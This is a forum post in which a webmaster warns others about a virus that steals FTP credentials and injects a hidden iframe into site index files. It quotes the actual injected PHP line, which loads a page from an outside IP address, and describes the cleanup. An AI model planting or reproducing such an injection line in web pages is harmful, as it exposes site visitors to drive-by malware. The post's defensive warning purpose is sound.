Dangerous Virus Warning

Recommended Posts

Hi Guys,

 

Just to let you know that there is an iframe virus on the prowl on the world wide web that once your pc is infected it accesses your ftp info and uploads this line to your site(s)

 

<?php echo '<iframe src="http://91.201.28.6/goods/index.php" width="1" height="1" frameborder="0"></iframe>'; ?>

 

Its a bit of a bitch to get rid of, eset detected it but would not clean it and neither would AVG. The only AV that I have found that sorts it out is F-Secure.

 

Once my pc was clean I changed all of my passwords to my ftp accounts and also had to download and remove the above line from all index.php and index.html files. Other files were affected as well but these were the main ones.

 

I am now in the process of wiping my public_html folder and reuploading the clean files. I only knew about this virus after google emailed me to say they were blacklisting my sites until I had removed the offending malware code.

 

Anyway I hope this is useful info for people.

 

Regards

hehe yeah sorry I should have said DOH!

 

The virus is called 'IFrame.B.Gen' and should be watched for.

 

Ensure your pc virus protection is uptodate.
